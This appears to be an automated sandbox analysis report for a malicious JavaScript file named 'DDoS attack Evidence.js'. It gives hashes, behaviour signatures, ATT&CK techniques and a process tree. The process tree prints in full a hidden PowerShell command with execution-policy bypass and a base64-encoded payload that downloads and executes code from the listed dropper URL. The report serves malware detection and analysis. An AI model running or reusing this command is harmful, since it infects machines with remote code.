286b482e179f9b0af05b9b40d9cc618208c251e83f84468c77763af35c0d7d2c

Analysis

max time kernel
146s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28/03/2024, 16:02

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General

Target
DDoS attack Evidence.js
Size 17KB
Sample240328-tg4bgsbb38
SHA256 67621214101cdc9e82be2f0e6ae523213f221612d5ef3bd74799bfe1680f9cfe
MD5 7b0538a53e8abe965a532c1ea466ac67
SHA1 8e2593581c2ad7fb449db519049028857a7ab161
SHA512 9ed52318c31b5e5c938700fed0b2573fc2953856a400e436cd60f68f4ee117f0d0cae704fc5a14441928702c7aa323cd25990c11c9e2dbbedd91fe7efa6af9ba
SSDEEP 384:Zn9J18qYvJAYHfl7ME85wKY6YrGfQPP7K8FkzQhglXmQCJfUAT7z2qZf7qd1vFPV:Zn9J18qYv5N7uUXOuyNIgD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://moseronado.top/333g100/index.php

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3424	powershell.exe
3424	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3424	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1456 wrote to memory of 1564	1456	wscript.exe	85
PID 1456 wrote to memory of 1564	1456	wscript.exe	85
PID 1564 wrote to memory of 3424	1564	cmd.exe	87
PID 1564 wrote to memory of 3424	1564	cmd.exe	87

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\DDoS attack Evidence.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_y2vxn0be.zcf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y2vxn0be.zcf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3424-0-0x0000016383ED0000-0x0000016383EF2000-memory.dmp

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memory/3424-10-0x00007FFBD9580000-0x00007FFBDA041000-memory.dmp

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memory/3424-11-0x000001639C520000-0x000001639C530000-memory.dmp

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memory/3424-12-0x000001639C520000-0x000001639C530000-memory.dmp

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memory/3424-15-0x00007FFBD9580000-0x00007FFBDA041000-memory.dmp

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